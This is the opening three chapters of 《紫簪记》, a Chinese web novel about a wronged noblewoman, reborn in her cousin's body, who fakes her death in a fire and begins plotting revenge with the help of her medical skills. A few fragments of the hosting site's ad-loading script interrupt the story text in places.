《紫簪记》
1. 假死
元夕夜，明灯千朵腾于空中，灿若星河。
三更刚过，万千中的一盏灯缓缓落到了淮州知府的院子中。
原本静谧的姜府，不知从何处传来一声，“大姑娘院子走水了！”
主院刚熄灯不久，闻言，姜府新续弦的夫人胡蕴蓉连鞋也顾不得穿，只草草披了一件斗篷便从屋内跑出来。
胡氏随着一众奴仆乱哄哄得穿过几座廊桥，复又路过一片枯莲池，才来到一座破败的宅院前。
院门上的油漆早已斑驳脱落，门扉半掩，推门而入，只见漫天彻地的火焰熊熊燃烧，主屋早已被大火吞并，烟雾腾空犹如一条黑龙，盘旋着升到空中。
“姑娘还在里头！”一丫鬟言道。
胡氏听此一言，急上心头，“快救火！这小贱蹄子若是死了，那笔银子可真就无从所知了！”
话音方落，本就年久失修的屋顶忽然间全部塌落下来，瓦片破碎声此起彼伏，霎时间灰烬弥漫，叫人难以喘气。
见此情形，胡氏倒吸了一口凉气，竟活生生晕了过去……
不知是哪一簇积雪被寒风吹落，枝丫发出一声清脆的折断声。
“吁——”
夜色浓重，一辆马车将将停在姜府西侧门旁，趁着月色，两位披着黑色斗篷的少女迈着急步，一溜烟似的上了马车。
少女脱了连帽，只见她面若寒冰，眉关紧锁，一双如寒夜般的眸子里散发出点点冷光，白净如雪的脸上丝毫不带笑意，仿佛是夜里盛开的花，不屑叫人来赏。
她掀开帘子往后瞧了一眼，随后深深吸了口气，又缓缓吐出。就好像牢笼内的囚犯脱离了苦狱，重获新生般，如释重负。
而她，确确实实是重生了。
两年前，京城国公府顾家遭人陷害，全府上下三十二口含冤而亡，她身为顾家的嫡女，在那一场密谋的屠杀中早已经死了。
可如今却又不知何故，占了自己表妹姜云绾的身子，重返了这人世间……
看着身后那浓烟滚滚，顾静娴的思绪渐渐飘远，恍惚间又回到了那夜。
是顾静娴借尸还魂的第一夜。
那一夜冬寒刚卷过了长街，满城的梅花渐渐露了花苞。
破旧的房门被打开，几缕寒风吹进，顾静娴受了凉，卧在榻上忍不住轻咳了两声。
推门而入的，是续弦胡氏。
胡氏端着药膏走至床前，屏退了屋内服侍的丫头。
她粗暴地撕扯开顾静娴的衣衫，入眼的是胸口处一块鲜红的血肉，正不断地往外冒着血水。
“伤得可不轻呢，好在昨日未曾真把你整死。”胡氏嘴角扬起一抹笑意，“听闻顾府嫁女，除了那十里嫁妆，还有一万两雪花银做体己钱。那些钱现今存放在何处呢？”
顾静娴不语。
胡氏倒也不急，用食指勾起一些药膏，放在顾静娴伤口附近摩挲。
她又道：“若你识趣，乖乖的将那笔银子交出来，你就还是我姜家的好女儿。他日，我这做母亲的，自也是会好好待你。”
顾静娴冷笑一声：“何来银子？”
胡氏道：“你房中的春桃和夏莲已经替你交代了。”
顾静娴目光一冷，犀利反问：“既是她们二人交代的，你应向她们讨要才是，怎来我这？”
胡氏的手顿了一顿，“顾书禾那贱人既已嫁入姜家，她所有之物，自然都是我姜家的东西。你若不听劝，我自有千百种法子整你，叫你呼天天不应，入地地无门。”
顾静娴不冷不热道：“我竟不知，我外祖家送我母亲的物件，在我母亲死后竟全然成姜家的了？”
瞧着胡氏那虚伪的嘴脸，顾静娴又道：“我母亲是三书六聘，明媒正娶的姜家夫人。而你呢，外室扶了正，所行之事到底是不光彩些。”
话毕，顾静娴明显感觉到胡氏放在自己身上的手颤了一颤。
屋内片刻沉寂后，胡氏那根手指似利剑一般，猛得刺进顾静娴的伤口。
手指在伤口内上下挑拨，左右旋转，疼的顾静娴额间布满细微的汗珠。可即便如此，她也硬是不发一声。
胡氏一边折磨顾静娴，一边道：“明媒正娶如何，顾氏贵女又如何？不已然被我一包砒霜变成一捧黄土，做了我这外室的手下败将吗？”说完，她得意地笑了几声，手上的动作愈发用力。
须臾，胡氏似乎也觉得无趣了，便将那手指拔出，她嫌弃地将手上沾染的血水抹在顾静娴的脸上，随后起身理了理自己的衣袖。
胡氏一双似笑非笑的眸子死死地盯着顾静娴，突然露出一丝不耐烦，挑逗地弯起嘴角，讥嘲道：“你还不知道吧，除了你母亲，还有你那高门显赫的外祖家，也是被你父亲亲自扳倒的。”
一语言毕，听得顾静娴脑中一霎时只剩一片空白，耳间嗡嗡作响，浑身颤抖，便连方才被胡氏折磨得伤口也不觉得痛了。
她浑身逐渐冰冷，心跳也几乎停止。
她知顾氏一族遭此劫难是有人在背后捅刀，本以为是父亲识人不清，用人不善之因。却未曾想过，颠倒黑白之人，竟会是自己的姑父！
如今这淮州府的知府——姜松，姜大人。
看着顾静娴痛不欲生的模样，胡氏那张殷红的脸上透露着得意之情，“污蔑你那国公舅舅贪墨的十万两雪花银，是你父亲买通了顾府的人，亲手放进顾家库房的暗间中。”
胡氏看着顾静娴生不如死的惨样，继续道：“顾府养的那位门生，祖上既是行商的富户，十万两雪花银向你舅舅买个官做又有何难呢？你说是吧，我的女儿。”说罢，她忍又不住大笑了几声。
顾府是有一位姓宋的门生，才华横溢，样样精通。家中虽是行商的下九流人家，但凭着自己苦读数年一举中第，终是进了御史台。
顾静娴闭上双眼，那眼泪便如同断了线的珠子，顺着脸颊滚落。四肢百骸无一不冷，她的心仿佛被胡氏紧紧握住，然后被其决绝地掏出，痛不欲生。
胡氏敢如此嚣张，无非就是觉得面前的少女手无缚鸡之力，再翻不出任何的风浪。
可胡氏到死也不会想到，此时人早已非彼时人。
顾静娴幼时曾养在大内，怎会同姜云绾一般心性。自胡氏说出那一番话起，她就早已开始暗暗谋划。
而今日姜府的这一场大火，正是顾静娴自己放的。
她所住的院子走了水，将一切事物全付于这一场大火之中，死无对证。
借尸还魂的这三个月里，顾静娴时常遭受胡氏的刁难，身上被折磨得布满伤口，甚至连一块好肉都不曾见。
今夜过后，淮州城中谁人不知那姜府嫡女命丧火海。
她再也不用受胡氏的折磨，也再不用认贼作父，忍气吞声。
顾氏一族的冤屈，姑母和表妹的惨况……这些，总有一日顾静娴要让姜松和胡氏那个贱人也尝尝同样的滋味。
车轮碾到一块小石子，车身颠簸了一阵，顾静娴的思绪这才被拉回来。
车内良久无声，丫头秋霜打破了这一道寂静，哽咽道：“过了今日，这世间可就再没有姑娘您了。”
“与其在此做阶下囚，不如逃出去，才好放手一搏。”顾静娴云淡风轻地说着，可她的目光却无比深邃，就如冰寒深渊，一望无际。
她现下里只一个想法，那便是报仇。
顾静娴顿了顿，问道：“事情可都办妥了？”
秋霜抹了抹泪，“那俩出卖姑娘的蠢货照姑娘吩咐，已被刘妈妈安排的人迷晕，扔进了咱们院子中，大火之后大家都会以为那是姑娘和我。”
“嗯，”顾静娴点了点头，凛声道，“卖主求荣，死有余辜。”
又问道：“银子的事？”
“银子也已被刘妈妈亲自送到夫人出嫁时顾老夫人所赠的软香阁中，这间铺子不在夫人的嫁妆单子中，姜府的人查不到这。”秋霜答道。
“那铺子中的人，可干净？”
顾氏遗留的一万两雪花银，是顾静娴现如今唯一的筹码，她不得不防。
秋霜道：“都是夫人当初出嫁时，从顾府一并跟过来的。”
顾静娴微微颔首，闭眼养神不再言语。
车内又重归宁静，秋霜时不时看向顾静娴，近段时间她总恍惚，似乎姑娘不再是姑娘。
可细想想，遭此变故，又有谁能和从前一般无
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
二？
·
马车驶了两个时辰，才在淮州和登州城交接处的一座庄子前停下。
彼时天边出现一抹温润的粉红。
晨露熹微，雾色弥漫，在空中旖旎缭绕。
走出车厢，阵阵凉意袭来，顾静娴拢了拢斗篷。
刘妈妈已在此苦等良久。见顾静娴的马车驶来，才安了心。
刘妈妈上手搀扶，轻声道：“姑娘可算来了，叫老妈妈我好等，里头一切皆已备妥当。”
刘妈妈本是姜府的奴婢，顾夫人还在世时，曾多次受到顾氏照拂，后来凭着自身的能力，一步一步高升，成了姜府管事的妈妈。
这一年多来，刘妈妈假意奉承胡氏，利用管事的权力，在暗地里几次三番协助顾静娴。便连昨夜出逃一事，若无刘妈妈帮衬，恐也难成。
顾静娴由刘妈妈搀扶着缓缓往院子内走去，只见左侧一颗桂花树下站着一人。
定睛细瞧，是一位约四十岁年纪，身材魁梧的壮汉。他生着连鬓胡子，双目炯炯，神态彪悍。
那壮汉拱手道：“见过姑娘！”声音浓厚，如黑云聚集，里面闷雷滚滚。
刘妈妈忙介绍，“这是我男人在漕帮的兄弟，过腻了船上的生活，想求个安定，我男人便想着让他来护姑娘的周全。”
顾静娴面上浮笑，“妈妈有心了，不知这位壮士平日里该如何称呼？”
刘妈妈道：“他打小就自己一个人，不知名姓，平日里我们都唤他阿忠。”
顾静娴道：“那便称为忠叔吧。”
忠叔又拱了拱手，“多谢姑娘不嫌弃。我旁的本事没有，只有一身的力气！只要有我在一日，必不会让旁的人伤了姑娘！”
举目望去，一座四方宽大的屋子坐落在面前，院中种着几棵修竹，正随风而动。
一条碎石子铺就的小路贯穿整个院子，院子左侧有一座堆砌而成的假山，假山下围建了一口小池子，几只朱红的金鱼正在池子中摇着尾巴。
随着碎石子路再往内走，一处游廊下站着几位婢女，见顾静娴进来，屈身行礼。
刘妈妈缓声道：“这些丫头我都细细盘查了，底细干净。”
顾静娴道：“虽如此，我房中近身伺候的只许是你们三人，让她们在外头做些洒扫的活便罢了。”
等进了主屋，一阵暖意铺面袭来。
屋内虽不大，但却精巧。几案和坐具一应俱全，窗子用纱帘掩盖，朦朦胧胧却又不会太暗。几处高几上摆着白釉梅瓶，里头斜插了几支梅花，或是红梅，或是白梅，零星两处还插着一株绿梅。
待一切安定，已到了正午时分。
顾静娴简单吃了几口饭菜，询问起秋霜，“现今咱们账上还有多少银子？”
“这庄子刘妈妈花了一百零三两银子买下，又除去二十三两修缮钱，现下里还有九千八百七十四两银子。”
秋霜自幼和姜云绾一同长大，顾氏教姜云绾算账时，秋霜一并也学了些。
“秋霜，你同刘妈妈知会一声，今日夜里随我走一趟软香阁。另外，再让忠叔这几日在淮州和登州两地，多瞧瞧铺子，以便后续采买。”
秋霜不解，“姑娘买铺面作甚？”
顾静娴只淡淡地回了八个字，“以牙还牙，以伤还伤。”
秋霜再次恍惚，与她相伴长大的姑娘，似乎真的变了……
她道：“秋霜这一生是夫人和姑娘给的，姑娘若有复仇的法子，可叫秋霜去做，秋霜从不怕死，唯一心忧的就是姑娘啊。”
顾静娴心中泛起一阵酸楚，她轻笑着道：“傻秋霜，我会带你亲眼瞧见看着姜家大厦倾塌，以报家仇之恨。”
窗外又飘落起雪花来，由小渐大，直到她们来时的路上被一层银霜覆盖才缓缓停止。
顾静娴望着窗外，那几株修竹上覆盖了一层雪，被压弯了腰。
她浅浅叹了口气，如今，她是死过两回的人了。
如今既已经“死”了，那便一出戏做到底罢。
“秋霜。”
“哎。”
“日后在外头，我改换姓殷，名紫簪，这世间再没有姜姑娘。”
2. 机缘
“天地人和，至富康顺。夜半，子时！”街上传来打更的叫喊，又传来一慢两快的敲打声。
冷月高悬，一辆马车漏夜前行，缓缓驶入柳烟巷内。
车身四面皆由精美的丝绸所装裹，棚顶四角处又各自挂着一个铃铛。马蹄急踏，各处的铃铛随着车身颠簸发出清脆的声响。
车中香气四溢，火炉散发着热气，烘得顾静娴觉得周身暖洋洋的，便解开了斗篷。
顾静娴问：“软香阁现今由谁管着？”
刘妈妈答：“是位近三十的姑娘，叫柳双儿，听说曾是顾老夫人身边一等的丫鬟。”
这倒不假，顾书禾出嫁时，顾静娴虽只五岁，可晨昏定省常去祖母院中请安，是曾有位姓柳的在身侧服侍。
顾静娴：“这些年的流水账本可曾见过？”
刘妈妈提前就备好了，从身侧的小柜子中拿出账本。
“这是近三月的账目流水，自打……自打夫人过身起的。”刘妈妈说着，心中没来由泛起一阵苦楚，哽咽着继续说道：“这铺子平日里虽赚得不多，但都是夫人一番心血。夫人每月里总要来这里一趟，或品茶，或制香。她说，这是她离顾家最近的地方。”
闻言，顾静娴微微垂眸，心潮却开始生出起伏，百味杂陈。
“胡氏的事情，母亲是否早就知晓？”
说到“母亲”二字时，顾静娴明显一顿。
用着表妹的身子，把姑母唤作母亲，她心中总觉得有丝丝别扭。
刘妈妈怔了怔，点头道：“夫人刚嫁过来不足一年，老爷就领了一个两岁哥儿回来——便是如今胡氏生的炳哥儿。后来，老爷就想以胡氏为姜家绵延子嗣，生育长子为由，把胡氏抬为平妻。夫人自是不愿意的，甚至一度想要和离，可……”
“可她腹中有了我。”顾静娴补全了刘妈妈话。
顾静娴哀叹一声。这些事，在姑母后来为数不多的回门中，也从未和父亲母亲，乃至老夫人提起。
“顾家高门显贵，娇养一辈子的独女，已是下嫁，竟还要生这样的气！”顾静娴打抱不平，“父亲便是为了这事，才和母亲离心吗？”
刘妈妈摇了摇头，“顾家是京中勋贵之家，又是朝中重臣。老爷重仕，一心想从通判官升知府，有一显赫的亲戚作为靠山，在官场中到底能走得顺遂些。平妻一事，本就是试探夫人底线罢了，又怎会真和夫人翻了脸，和顾家闹出不愉快来。”
“那是为何？”
“那时，姑娘已两岁，老爷也荣升成了知府大人——”
是十五年前初秋的某日傍晚，顾书禾正因姜云绾会走一事喜上眉梢。
可还未曾等顾书禾从这一喜悦中剥离出来，姜松便领了胡蕴蓉进了顾书禾所住的照水院。
胡蕴蓉刚进院子，还未曾走近顾书禾，便软着膝盖柔柔地跪下。
凄凄切切，我见犹怜。
顾书禾命人将姜云绾抱走，冷眼盯着姜松，又瞧了瞧地上那矫揉造作的胡氏，没好气地问：“这又是哪出？”
姜松笑着走到顾书禾身侧，他的笑就像是精心雕琢的面具，除了掩饰内心中的虚伪，别无用处。
姜松扶着顾书禾坐下，谄笑道：“夫人，蕴蓉她……她有了身孕。”
顾书禾心中一凉，看向胡蕴蓉。
泪水从胡蕴蓉的眼眶中流出，轻轻地滑落在嘴边。她呜咽着用手轻轻拂去泪珠，长长的睫羽扇了几下，摆出一副柔弱的样子来，“先前平妻一事是蓉儿痴心妄想，惹恼了姐姐。如今，望求姐姐看在我腹中的胎儿，留下蓉儿，即便是老爷身边的妾室，蓉儿也是三生之幸。”
高门出来的女儿，心中到底良善。顾书禾厌恶胡蕴蓉不假，可幼子无辜……
姜松也正是知道顾书禾有一心软的好处，只要拿孩子做事，她十有八九必是会答应的。
可也正是顾书禾的这一时心软，日后却成了刺她最深的一剑。
短短三月，胡蕴蓉本性全露。
一日午后，她邀请顾书禾赏晚秋的绿菊，却多次言语冒犯于顾书禾。
“姐姐嫁进姜家三年多却只生一女，还不让有儿子的妾室入门，怎么？是怕我的炳哥儿未来承了家业吗？”
顾书禾自然懒得和她争论，教训了胡蕴蓉几句便要离去，可谁知胡蕴蓉却一把抓住顾书禾的手，就像一只饿狼好不容易从虎口中抢到腐肉，死死不愿意松开。
胡蕴蓉：“是我说到姐姐心中的痛处了？姐姐无子却仗着主母的位置，抬我为平妻，为姜家出一嫡子，又能如何！”
胡蕴蓉在顾书禾面前言辞犀利，却能在姜松面前，演得一手柔弱不能自理的好戏。
今日这出，也是她密谋已久的戏本子。
她佯装被顾书禾推倒，肚子故意磕上身旁的石桌，倒在地上大声哀嚎起来。
下肢缓缓流出一趟鲜红的液体，带着一股难以言表的腥气。
胡蕴蓉小产了。
听刘妈妈说到此处，顾静娴咬牙，眸中跳动两簇怒火。
“虎毒焉不食子，”她语气清冷，暗含怒气，“胡氏终会为其所行恶事，付出代价。”
刘妈妈说到情浓时，也落了几滴泪。她抬手拂去，和声道：“姑娘想做什么事，只管放手去做。妈妈我虽已四十有三，但能帮的，我一定帮姑娘。”
话言到此，顾静娴突然一愣，眼中原本冷冽的光淡了几分。
她从袖间拿出一张单子，上面清清楚楚地记录着各种的药材。
“茯苓、白芷、泽兰……”刘妈妈念着单子上的字，不解道：“姑娘，你买这些药作甚？”
“刘妈妈，我想开一家药堂。”
刘妈妈惊恐道：“可姑娘哪里会行医？”
顾静娴迎着刘妈妈疑惑的目光，嘴角若有若无地勾起一抹苦笑，“姜家大姑娘已经丧生火海，妈妈混忘了吗？”
刘妈妈收了收原本惊叹的神色，“是。”
积雪在车轮下发出“咯吱”的声音，马蹄声渐渐变弱，最终在软香阁前缓缓停下。
顾静娴梳着一头简单的垂云髻，只捎带了一支素紫色的步摇。她戴起帷帽，帽下又以面纱拂面，瞧不见真容。
软香阁虽大门紧闭，可透过窗纱却可见里面隐隐点着一株烛火。
刘妈妈上前叩门，她先是长叩两下，又短叩三下，随后站在门旁。
不一会，门被打开，一小丫头探出头来，见是刘妈妈前来，忙引了进去。
顾静娴跟在刘妈妈身后，却被那小丫头给拦下。
小丫头左不过和顾静娴同样年岁，她眨巴眨巴眼，满脸天真的问：“你是何人？”
“芳菲，休得无理。”刘妈妈压了压声，凑在丫头耳侧道：“这是姑娘。”
芳菲忙将举着的手放下，等顾静娴走进屋内，轻且快地将门给带上。
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
听见动静，在内屋制香的柳双儿信步出来，她站在门边对着顾静娴仔细端详，她略带惊讶地看向刘妈妈，问：“这当真是姑娘？”
刘妈妈点了点头。
顾静娴透过帷帽，大致瞧清面前的人，这才将帷帽和面纱拿下。
人是不错，可十数载不见，当年在祖母身边伺候的柳姐姐，如今面上也逐渐有了皱纹。
柳双儿用手背抹了抹泪，“今早听说姜家走了大火，正好是姑娘的院子，我本以为……本以为！”
她这才敢走近顾静娴的身侧，看着面前这张脸，柳双儿又忍不住哭了起来，“像，像极了，姑娘的眉眼竟和夫人生得一般无二……”
顾静娴眼中也泛起泪花，她有时常觉得自己是个十恶不赦的骗子，顶着表妹的这种脸，拨弄着关心表妹之人的情感……
顾静娴今日寒了一天的脸又重现了一丝不明显的笑意，替柳双儿拂去泪，“柳姐姐如今见了我，应当高兴才是。”
“高兴，自然是高兴的！”
柳双儿引着顾静娴和刘妈妈向内院走去，“姑娘且随我来。”
行进院中，只见地上摆着大大小小的香料盒子，整个院子香气扑鼻，清香怡人。
众人随着柳双儿的脚步进了一间不大不小的屋子，柳双儿走到存放香料的柜子前，扭动了众多铜拉手中的一个，整个柜子便由中间分开，一间密室赫然出现在众人面前。
密室倒也不大，只摆放着一张桌子和两把椅子，桌子上则放着一铜制的箱子。
柳双儿将箱子打开，里面放着许多银元宝和银票。
“姑娘交代存放在我这的钱都在此了，便是一文也未曾少。”
顾静娴道：“姐姐是母亲身边得力之人，若你不嫌我，这钱还得由姐姐替我管着。不过一会我走时，需带上两千两。”
柳双儿道：“姑娘何出此言，能为姑娘办事，我自当肝脑涂地，只怕我如今除了制香，别无用处。”
“你的用处，可大着呢。”刘妈妈将方才顾静娴给自己的那张纸递给柳双儿，“姑娘列的单子，我知你这常日里也制药香，不知这张单子上的药现下里可有？”
柳双儿接过单子细细看了起来，便又领着顾静娴去了另一间屋子。
这间屋子比方才那间要大，除了柜门上特地标着药名，其余陈列却是一般无二。
“等天亮了，我照着这单子好好核对，若有缺，我即刻补上。”
顾静娴道：“劳烦了。”
需交代的事情交代完，该拿的银子也都拿了，顾静娴和刘妈妈便打算趁着天还未亮时回到庄子。
重回堂厅，门外却悠悠扬扬传来一阵唱戏声——
“说什么花好月圆人亦寿，山河万里几多愁……”①
一字一句，虽如珠玉落盘，可嗓音却绝非上乘，带着嘶哑声，个别几字还破了音。
芳菲言道：“也是位可怜之人。”
这句话，倒引起顾静娴心中好奇，她追问道：“芳菲姑娘何出此言？”
芳菲解释道：“这位曾是咱们淮州和登州有名的伶儿，只要她一登台开唱，惊鸿堂内必是座无虚席，就连登州城的知府夫人都常到场。可一年前却遭戏楼背弃，一碗奇药毁了嗓子，沦落到如今的地步。”
知府夫人？
这倒是个机缘。
顾静娴又问：“她唤何名？”
“程绾青。”
3. 夜杀
软香阁二楼南侧的窗子，正好对着程绾青所在的屋子。
待她又一段唱罢，顾静娴稍大声道：“姑娘，你的嗓子已负伤，再如此不管不顾地唱，会伤得更深。”
透过窗影，顾静娴明显瞧见程绾青的动作一顿，她那上翘的兰花指拢了拢，慢步走到窗前。
“我的事，何需你来管。”程绾青语调冷冷，一股生人勿近的味道。
顾静娴倒也不啰嗦，“我能让程姑娘的嗓音恢复如初。”
一句话，直击程绾青的内心。
她程绾青什么名医没曾请过，到后来不还是竹篮打水一场空。
入耳的声音略显稚嫩，约莫着不过十六七岁，左不过又是一位来拿自己事迹取笑她的人罢了。
程绾青微开了一丝窗，向下看去，空无一人。看来今夜惊鸿堂的人未曾在此看守，便又关了窗，嗔笑道：“就凭你这小丫头？未曾照过镜子，摸不清自己的德行吗？”
顾静娴倒也不恼，她如今这身份，若旁人听她一言便信了，那才是奇事。
“就凭我。姑娘难道不愿医好嗓子，杀回你的惊鸿堂吗？若信我，三日后进这软香阁便是。”
言罢，顾静娴将窗子关了起来。
对面也良久未曾再出声，顾静娴站在窗前看着，直至程绾青的屋子灭了灯，这才领着刘妈妈坐上了马车。
刘妈妈忍不住问：“姑娘似乎对那程娘子的事情很上心。”
顾静娴闭着眸子道：“或许，她能成为我复仇一事上的机缘。”
刘妈妈不解，“机缘？”
“正是。”顾静娴解释道，“方才芳菲提到，登州城的知府夫人喜欢这位程娘子的戏，或许我能靠着程娘子，与那位知府夫人攀上关系。”
顾静娴抬眸，正巧撞见刘妈妈疑惑的眼神，所幸就将话给说个明白，“听闻如今登州府的知府夫人，与知府成婚五载却未曾怀孕。或许，她的肚子，乃至她这个人都能为我所用。”
·
回到庄子时，天又渐亮了。
秋霜坐在院子中打盹，晨露寒凉，打了个喷嚏，正巧见自家姑娘回来。
“姑娘，你怎么去这么久。”秋霜巴巴地走近顾静娴，却觉头晕，晃了晃脑袋。
顾静娴瞧出不对劲，“你莫不是一夜都坐在院中？”
秋霜道：“姑娘不在身侧，奴婢坐立难安。就想着坐在院子中，姑娘回来时奴婢立马就能知道……下次，姑娘还是把秋霜一道带上把。”
顾静娴点了点秋霜的脑袋，却发觉秋霜额间发热，忙搀扶住她，又吩咐身侧的刘妈妈，“刘妈妈，劳烦替我煮一壶姜茶来。另外，若见了忠叔，让他来我屋内一趟。”
被扶着的秋霜虽脑袋昏昏，却不忘了接话，“忠叔见厨房柴木不够，上山砍柴了。”
说完，秋霜一丝力气也不曾有了，她只觉脑袋霎时间变得似有千金重，靠在顾静娴的肩上就晕了过去。
等秋霜再次醒来的时候，忠叔正好端了姜茶进来。
忠叔道：“姑娘，给秋霜姑娘准备的姜茶好了。”
他将姜茶递给顾静娴，弓着身子问：“听刘妈妈说姑娘在寻我，姑娘有何事吩咐？”
顾静娴先将姜茶放在身侧的案几上，随后从腰间拿下一钱袋，交给忠叔。
“这里面是一千两银票，”顾静娴道：“我需要你帮我在淮州和登州两城中，多买一些铺子，除了东家，其余一应不变。”
忠叔这人有一好处，便是从不追问主子交代事情的目的。他只浑厚的应了声“是”，便离了屋子。
秋霜平躺在床上，周身却好似漂泊在江水之上，晕晕乎乎的。
顾静娴复又拿起姜茶，舀起一勺吹了吹，散了热气后喂给秋霜喝下。
秋霜不好意思道：“都怪奴婢没用，姑娘本就操劳，奴婢还给姑娘徒增烦恼。”
顾静娴用手帕擦了擦秋霜的嘴角，边擦边道：“谁说你无用了，你现下只需好好养好身子，三日后，我还需你去软香阁帮我呢。”
“姑娘可是遇到什么事了？”秋霜心中惴惴不安，忙问道，“是软香阁出事了吗？”
顾静娴摆了摆头，将空碗放置一旁，一字一句向秋霜解释清楚。
“这事若是办得好，报仇一事，或许能够事半功倍。”
·
自那夜繁星璀璨之后，明月渐亏，三日转瞬即逝。
淮州城久未下雨，今日入夜前竟淅淅沥沥下了起来。
顾静娴已在软香阁中静候了一个时辰，直到车水马龙的街道变成空无一人。
落雨声中传来打更人的叫唤，又是一夜子时。
秋霜候在顾静娴身侧，弱弱地问：“姑娘，你说得那位程娘子她真的会来吗？”
顾静娴也没十足的把握，她端坐在椅子上，轻轻吸了口气。
又过了一盏茶的功夫，还未见有人来，顾静娴也不愿再等。行医之事本就该你情我愿，若对方猜忌重重，即便再有仙术，也未必能够医治。
方站起身子，却闻得楼梯处有响动。
顾静娴怔了怔，须臾，便见柳双儿领着二人上了楼。
走在前头的是名伶程绾青，后面那位听柳双儿的介绍，是升平坊王虎的媳妇沈氏。
程绾青自顾寻了把椅子坐下，语气凌厉，“不知姑娘名姓？”
顾静娴答：“小女子姓殷，小名紫簪。”
程绾青打量了顾静娴几眼，见她头戴帷帽，冷冷道：“不以真容示人，小娘子，你叫我如何信你？”
顾静娴思量片刻，摘下了帷帽。一旁的秋霜见自家姑娘以真容示人，心中发怵。
秋霜想开口相劝，却被顾静娴拦下。
见面前的小丫头如此听话，程绾青淡笑道：“我寻遍淮州有名的大夫也未曾医治好我的嗓子，你个小丫头竟敢夸此海口，实在可笑。”
顾静娴不紧不慢道：“人外有人，天外有天。姑娘需知，淮州之外有登州，登州之外，还有京城。”
程绾青故做诧异状，“从京城来的，莫不是太医院中的太医吧？”
要论起来，顾静娴确确实实也算的上是半个太医。
她母亲娘家是医官程家，祖上更是出过三代太医院院首，行医手艺个顶个的好。顾静娴幼时就喜欢跟着外祖学医，住在宫中的那段日子更是日日呆在太医院。
也算是她天资聪颖，学到了一手外祖父的好绝活。京中贵妇若有个三灾六痛的无不是来请她医治，除此以外，大内之中的贵人娘娘也是如此。
顾静娴道：“姑娘今夜愿意来此，可见心中是信我的，既是信我，又何必羞辱我呢。”
程绾青面上浮现几丝暗淡的忧愁，“也罢，反正我被姜家困在这淮州城，死马当做活马医罢。”
她说完，将手伸出，示意顾静娴给她把脉。
这一脉用时不短，但至少让顾静娴清楚，程绾青这嗓子还有得救。
“姑娘这脉凝滞欲散未散，气血运行不畅，致使喉间脉息沉重而不灵活，因而出现塌嗓的假象。”
闻言，程绾青明显一愣，方才顾静娴所说的话，竟和其他大夫一般无二。
看来，到底是她小瞧了这小丫头。
程绾青问道：“你可有法子？”
顾静娴胸有成长，面上自信道：“自然。”
“需饮何药？”既然说辞一般无二，那药方怕也是大同小异。程绾青嗓子坏了一年多，药也就喝了一年多，若是相似，不喝也罢。
顾静娴道：“正是因为那些人只让姑娘喝药，姑娘的嗓子才一直未曾痊愈。”
程绾青眼睛忽的一亮，忙追问：“那该如何？”
“姑娘的气血确实该以药物滋补，”顾静娴卖了个关子，“可这喉间的毛病却非药物能及。”
程绾青倒急了，“只要你能治好我，我许你白银五十两。”
顾静娴如今什么都缺，却唯独不缺银子，她摆摆手道：“姑娘日后若重开戏班，花银子的地方多了去了，这些银子你且自己留下罢。”
不要银子？
程绾青追问：“那你要什么？”
顾静娴答：“我只需姑娘帮我做一件事。”
程绾青又问：“何事？”
顾静娴柔声道：“不急，待我能助程姑娘重新登台时，自会告诉姑娘。”
言罢，顾静娴向秋霜示意。
秋霜从桌下拿出一布卷，将其打开，只见里面藏着或长或短、或细或粗数十根银针。
顾静娴取出其中一根，用烛火微微烤了一下，再将其缓缓扎进程绾青的喉间。
重复几次后，顾静娴道：“姑娘可以试着喊喊嗓子。”
程绾青脖子僵持着不敢动，迟疑片刻才缓缓开嗓。
“咦——”
她原以为，自己的嗓子还如先前一般，干涩沉闷。可这一嗓，却温润而透亮，似仙乐般，久久回荡在屋内。
坐在一旁久不发一言的王虎媳妇忍不住出了声，“这……程娘子，你这嗓音与之前相比，竟已恢复了七八成！”
不止王五媳妇惊叹，街上两个正依靠着互相打盹的人也被程绾青这一嗓音给惊醒。
其中一个稍年长的问道：“方才那嗓你唱的？”
另一个半梦半醒，迷迷糊糊道：“说什么浑话，小爷我学得
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
可是生行，怎来得了旦角色？”
“那能是谁？”
两人像是突然意识到什么，四目相对。
唱小生的那人疑惑道：“总不能是程绾青吧，她嗓子不都坏了吗？”
稍年长的看了看软香阁的匾额，又抬眸看了看二楼的窗子，没好气地说：“暗夜出行，果然没好事！”
“那如今怎么办？”
“回去，禀报班主！”
那一嗓后，程绾青自己也久久未曾回过神来，她的双眸逐渐湿润，满脸感激地看着顾静娴，一时间说不出话来。
顾静娴将银针拔除，吩咐道：“我一会拟个方子，一日三帖，姑娘自己去药房抓药便是。唯一记住一点，这几日不许再唱。”
程绾青本还想试着唱一段，闻言，收了收心思，问：“我这便是好了吗？”
“未曾，”顾静娴道，“三日后，我会再替姑娘行针。”
·
照往常一样，一行人趁着夜色往庄子赶。
车内，秋霜道：“我与姑娘生活了十五载，竟不知姑娘还会行医。”
顾静娴不知如何接话，只淡淡笑了两声，敷衍过去。
她总不好说，其实她是表姑娘，附身在你家姑娘身上。即便是说了，怪力乱神，又有谁信？
秋霜还想再问，马车却陡然停住。
车内两人身子踉跄向前，还未等她们重新坐定，便听见外头传来一男子的声音——
“姑娘真是仙人下凡啊，连程绾青那破嗓子都能医好。好汉我近日身上也多有不适，劳烦姑娘随我走一趟，也替我诊诊脉啊。”
忠叔紧紧拉着缰绳，死死盯着那人道：“做你的梦！”
他原想掉头离开，却发现，马车四周具已被人包围。
顾静娴掀帘而望，看着外面围了一圈人，心道不好。
“各位壮士怕是认错了人，小女子怎会行医诊脉。”
那壮汉大笑几声，“你会不会，跟汉子我走一遭，自然清楚。”
忠叔虽身强力壮，可一人怎敌对方十数人。
“不知二十两银子，能否向诸位买个过路钱。”
壮汉道：“过路钱？笑话！我今夜放了你，便是断了我自己的财路。”
他一声令下，“兄弟们，给我上！”
霎时间，那一圈壮士提着大刀冲向顾静娴所乘的马车。忠叔也拔剑跳到车棚之上，与其周旋。
秋霜抓住自家姑娘的手，满眼惊恐道：“若是这伙贼人得势，便由秋霜替您前去，夫人将秋霜养在姑娘身边多年，总是有所用处的。”
